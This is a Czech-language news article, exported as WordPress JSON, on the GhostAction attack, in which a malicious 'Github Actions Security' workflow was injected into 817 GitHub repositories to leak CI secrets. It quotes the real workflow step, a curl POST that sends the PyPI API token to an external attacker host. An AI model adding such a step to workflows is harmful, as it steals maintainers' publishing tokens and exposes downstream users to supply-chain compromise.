{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"B\u011bhem \u00fatoku GhostAction bylo kompromitov\u00e1no 817 repozit\u00e1\u0159\u016f na GitHubu","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

V\u00fdzkumn\u00edci ze spole\u010dnosti GitGuardian odhalili masivn\u00ed \u00fatok na u\u017eivatele GitHubu, p\u0159i kter\u00e9m do\u0161lo k p\u0159evzet\u00ed kontroly nad 327 \u00fa\u010dty a k nahrazen\u00ed \u0161kodliv\u00e9ho zpracovatele GitHub Action ve 817 repozit\u00e1\u0159\u00edch. \u00datok vedl k \u00faniku 3325 tajemstv\u00ed, kter\u00e1 byla pou\u017e\u00edv\u00e1na v syst\u00e9mech kontinu\u00e1ln\u00ed integrace a p\u0159ed\u00e1v\u00e1na prost\u0159ednictv\u00edm prom\u011bnn\u00fdch prost\u0159ed\u00ed, v\u010detn\u011b p\u0159\u00edstupov\u00fdch token\u016f pro PyPI, GitHub, NPM, DockerHub a r\u016fzn\u00e1 cloudov\u00e1 \u00falo\u017ei\u0161t\u011b.

\"B\u011bhem<\/center> <\/p>\n

GitHub Actions umo\u017e\u0148uje v\u00fdvoj\u00e1\u0159\u016fm k\u00f3du p\u0159ipojovat spou\u0161t\u011b\u010de pro automatizaci r\u016fzn\u00fdch operac\u00ed v GitHubu. Nap\u0159\u00edklad s pomoc\u00ed GitHub Actions lze prov\u00e1d\u011bt ur\u010dit\u00e9 kontroly a testy p\u0159i vytv\u00e1\u0159en\u00ed commit\u016f nebo automatizovat zpracov\u00e1n\u00ed nov\u00fdch Issues. Zlomysln\u00fd spou\u0161t\u011b\u010d se \u0161\u00ed\u0159il pod n\u00e1zvem «Github Actions Security» a obsahoval v sekci «run» p\u0159\u00edkaz «curl», kter\u00fd pos\u00edlal obsah prom\u011bnn\u00fdch prost\u0159ed\u00ed na extern\u00ed hostitel p\u0159i spu\u0161t\u011bn\u00ed \u00faloh v prost\u0159ed\u00ed kontinu\u00e1ln\u00ed integrace. Zlomysln\u00fd commit byl p\u0159id\u00e1n z \u00fa\u010dt\u016f maintainer\u016f projekt\u016f, kter\u00e9 pravd\u011bpodobn\u011b byly p\u0159edt\u00edm hacknuty nebo se staly ob\u011b\u0165mi phishingu. <\/p>\n

\u00datok byl odhalen po anal\u00fdze anom\u00e1ln\u00ed aktivity spojen\u00e9 s bal\u00ed\u010dkem FastUUID, kter\u00fd poskytuje Python wrapper nad Rust knihovnou UUID. Bal\u00ed\u010dek FastUUID, u kter\u00e9ho bylo za posledn\u00ed t\u00fdden zaznamen\u00e1no t\u00e9m\u011b\u0159 1,2 milionu sta\u017een\u00ed, je pou\u017e\u00edv\u00e1n jako z\u00e1vislost v popul\u00e1rn\u00edm projektu LiteLLM, kter\u00fd m\u00e1 na PyPI v\u00edce ne\u017e 5 milion\u016f sta\u017een\u00ed t\u00fddn\u011b. Anal\u00fdza zm\u011bn v repozit\u00e1\u0159i FastUUID uk\u00e1zala, \u017ee 2. z\u00e1\u0159\u00ed maintainer projektu p\u0159idal commit s nov\u00fdm spou\u0161t\u011b\u010dem Github Action, kter\u00fd obsahoval k\u00f3d pro odesl\u00e1n\u00ed tokenu k repozit\u00e1\u0159i PyPI na extern\u00ed hostitel. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n

Probl\u00e9m se poda\u0159ilo zjistit d\u0159\u00edve, ne\u017e mohli \u00fato\u010dn\u00edci vyu\u017e\u00edt zachycen\u00fd token — publikace zlomysln\u00fdch zm\u011bn nebo modifikovan\u00fdch verz\u00ed bal\u00ed\u010dku v PyPI pro FastUUID nebyla zaznamen\u00e1na. Podobn\u00e9 substituce Github Action byly identifikov\u00e1ny ve 816 repozit\u00e1\u0159\u00edch, jejich\u017e majitel\u00e9 a tak\u00e9 administraci PyPI, GitHub, NPM a DockerHub byly odesl\u00e1ny ozn\u00e1men\u00ed. K ve\u010deru v\u010derej\u0161\u00edho dne byly zlomysln\u00e9 commity zru\u0161eny p\u0159ibli\u017en\u011b v 100 repozit\u00e1\u0159\u00edch. V sou\u010dasn\u00e9 dob\u011b je p\u0159i vyhled\u00e1v\u00e1n\u00ed na GitHubu identifikov\u00e1no 671 commitu se zlomysln\u00fdm Github Action.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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